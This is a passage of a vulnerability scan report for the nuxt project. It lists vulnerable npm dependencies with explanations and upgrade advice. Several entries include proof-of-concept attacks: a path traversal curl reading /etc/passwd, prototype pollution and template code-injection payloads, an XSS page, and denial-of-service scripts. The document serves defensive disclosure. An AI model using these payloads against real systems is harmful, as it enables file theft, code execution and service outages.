foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: ws
- Introduced through: webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1 › ws@4.1.0Remediation: Upgrade to webpack-bundle-analyzer@3.0.0.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount
or request.maxHeadersCount
threshold.
Workaround
This issue can be mitigating by following these steps:
Reduce the maximum allowed length of the request headers using the
--max-http-header-size=size
and/or themaxHeaderSize
options so that no more headers than theserver.maxHeadersCount
limit can be sent.Set
server.maxHeadersCount
to 0 so that no limit is applied.
PoC
const http = require('http');
const WebSocket = require('ws');
const server = http.createServer();
const wss = new WebSocket.Server({ server });
server.listen(function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: server.address().port
});
request.end();
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade ws
to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.
References
high severity
- Vulnerable module: webpack-dev-middleware
- Introduced through: webpack-dev-middleware@1.12.2
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-dev-middleware@1.12.2Remediation: Upgrade to webpack-dev-middleware@5.3.4.
Overview
Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs
filesystem. When the writeToDisk
configuration option is set to true
, the physical filesystem is utilized. The getFilenameFromUrl
method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped
path suffix to the outputPath
. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e
and %2f
sequences to perform a path traversal attack.
Notes:
This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.
If the development server is exposed on a public IP address or
0.0.0.0
, an attacker on the local network can access the files without victim interaction.If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Remediation
Upgrade webpack-dev-middleware
to version 5.3.4, 6.1.2, 7.1.0 or higher.
References
high severity
- Vulnerable module: deep-extend
- Introduced through: offline-plugin@4.9.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › deep-extend@0.4.2Remediation: Upgrade to offline-plugin@5.0.4.
Overview
deep-extend is a library for Recursive object extending.
Affected versions of this package are vulnerable to Prototype Pollution. Utilities function in all the listed modules can be tricked into modifying the prototype of "Object" when the attacker control part of the structure passed to these function. This can let an attacker add or modify existing property that will exist on all object.
PoC by HoLyVieR
var merge = require('deep-extend');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade deep-extend
to version 0.5.1 or higher.
References
high severity
- Vulnerable module: lodash.template
- Introduced through: vue-server-renderer@2.3.4
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › lodash.template@4.5.0
Overview
lodash.template is a The Lodash method _.template exported as a Node.js module.
Affected versions of this package are vulnerable to Code Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
There is no fixed version for lodash.template
.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: opencollective@1.0.3
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › node-fetch@1.6.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location
response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch
to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: vue
- Introduced through: vue@2.3.4
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue@2.3.4Remediation: Upgrade to vue@2.4.3.
Overview
vue
is a Reactive, component-oriented view layer for modern web interfaces.
Affected versions of the package are vulnerable to Cross-site Scripting (XSS).
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
You can read more about Cross-site Scripting (XSS)
on our blog.
Remediation
Upgrade vue
to version 2.4.3 or higher.
References
medium severity
- Vulnerable module: vue
- Introduced through: vue@2.3.4
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue@2.3.4Remediation: Upgrade to vue@2.5.17.
Overview
vue is an open source project with its ongoing development made possible entirely by the support of these awesome backers.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) when spread
attributes in the ssr
files are unsanitized and can therefore be attack vectors for untrusted user input.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade vue
to version 2.5.17 or higher.
References
medium severity
- Vulnerable module: json5
- Introduced through: babel-core@6.26.3, webpack@2.7.0 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › json5@0.5.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › json5@0.5.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to html-webpack-plugin@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › offline-plugin@4.9.1 › loader-utils@0.2.17 › json5@0.5.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › loader-utils@0.2.17 › json5@0.5.1Remediation: Upgrade to webpack@3.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › json5@0.5.1
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse
method , which does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade json5
to version 1.0.2, 2.2.2 or higher.
References
medium severity
- Vulnerable module: vue-template-compiler
- Introduced through: vue-template-compiler@2.3.4
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-template-compiler@2.3.4
Overview
vue-template-compiler is a template compiler for Vue 2.0
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the manipulation of object properties such as Object.prototype.staticClass
or Object.prototype.staticStyle
. An attacker can execute arbitrary JavaScript code by altering the prototype chain of these properties.
Note: This vulnerability is not present in Vue 3.
PoC
<head>
<script>
window.Proxy = undefined // Not necessary, but helpfull in demonstrating breaking out into `window.alert`
Object.prototype.staticClass = `alert("Polluted")`
</script>
<script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.js"></script>
</head>
<body>
<div id="app"></div>
<script>
new window.Vue({
template: `<div class="">Content</div>`,
}).$mount('#app')
</script>
</body>
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: webpack-bundle-analyzer
- Introduced through: webpack-bundle-analyzer@2.13.1
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack-bundle-analyzer@2.13.1Remediation: Upgrade to webpack-bundle-analyzer@3.3.2.
Overview
webpack-bundle-analyzer is a package that can be used to create visual size of webpack output files with an interactive zoomable treemap.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS)
due to the usage of the JSON.stringify
method which accepts server-rendered HTML and returns it as part of the chartData()
,enableWebSocket()
or defaultSizes()
function.
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade webpack-bundle-analyzer
to version 3.3.2 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: glob@7.2.3
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: serialize-javascript
- Introduced through: serialize-javascript@1.9.1, vue-server-renderer@2.3.4 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › serialize-javascript@1.9.1Remediation: Upgrade to serialize-javascript@6.0.2.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › serialize-javascript@1.9.1Remediation: Upgrade to vue-server-renderer@2.7.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-ssr-html-stream@2.2.0 › serialize-javascript@1.9.1
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe HTML
characters through non-http URLs
.
PoC
const serialize = require('serialize-javascript');
let x = serialize({
x: new URL("x:</script>")
});
console.log(x)
Details
A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
